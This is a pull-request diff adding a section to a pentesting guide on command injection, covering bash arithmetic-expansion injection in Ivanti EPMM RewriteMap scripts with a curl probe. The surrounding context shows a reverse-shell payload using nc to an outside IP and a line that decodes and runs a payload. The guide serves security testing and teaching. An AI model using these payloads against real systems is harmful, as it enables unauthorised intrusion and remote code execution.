Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 28 additions & 0 deletions src/pentesting-web/command-injection.md
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,33 @@ vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```

### Bash arithmetic evaluation in RewriteMap/CGI-style scripts

RewriteMap helpers written in **bash** sometimes push query params into globals and later compare them in **arithmetic contexts** (`[[ $a -gt $b ]]`, `$((...))`, `let`). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute.

**Pattern seen in Ivanti EPMM RewriteMap helpers:**

1. Params map to globals (`st` → `gStartTime`, `h` → `theValue`).
2. Later check:
```bash
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
```
3. Send `st=theValue` so `gStartTime` points to the string `theValue`.
4. Send `h=gPath['sleep 5']` so `theValue` contains an array index; during the arithmetic check it runs `sleep 5` (swap for a real payload).

Probe (~5s delay then 404 if vulnerable):

```bash
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
```

Notes:

- Look for the same helper under other prefixes (e.g., `/mifs/c/aftstore/fob/`).
- Arithmetic contexts treat unknown tokens as variable/array identifiers, so this bypasses simple metacharacter filters.

### Parameters

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Expand Down Expand Up @@ -240,5 +267,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/)
- [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
- [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py)
- [Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/)

{{#include ../banners/hacktricks-training.md}}